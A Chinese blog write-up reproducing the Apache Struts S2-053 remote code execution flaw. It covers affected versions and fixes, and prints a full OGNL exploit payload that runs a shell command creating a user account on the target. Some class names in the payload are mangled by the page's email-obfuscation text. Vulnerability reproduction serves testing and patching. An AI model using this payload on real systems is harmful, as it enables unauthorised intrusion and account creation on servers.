S2-053漏洞重现(附exp)

  • A+
所属分类:颓废's Blog
摘要

打开页面,输入表达式%{33-1}进行测试,发现成功执行,返回32: 利用exp创建账户,exp如下:

0x00 概述:

9月7日,apache struts放出s2-053安全公告,漏洞编号:CVE-2017-12611

,漏洞在于当freemarker标签使用表达式常量或强制的表达式时会导致RCE。

官方summary:

A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals
 

0x01 影响范围:

Struts 2.0.1 – Struts 2.3.33,

Struts 2.5 – Struts 2.5.10

 

0x02 漏洞重现:

利用war包或docker很容易部署环境。

打开页面,输入表达式%{33-1}进行测试,发现成功执行,返回32:

S2-053漏洞重现(附exp)

利用exp创建账户,exp如下:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user iamlsa iamlsa /add').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

成功创建iamlsa账户

S2-053漏洞重现(附exp)

重现成功!

0x03 修复方案:

升级到Apache Struts2.5.12或2.3.34
Freemarker标签内容不要通过Request方式获取
使用只读属性来初始化value属性(仅限getter属性)
不要使用如下结构

<@s.hidden name=”redirectUri” value=redirectUri />

<@s.hidden name=”redirectUri” value=”${redirectUri}” />

访问原文

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: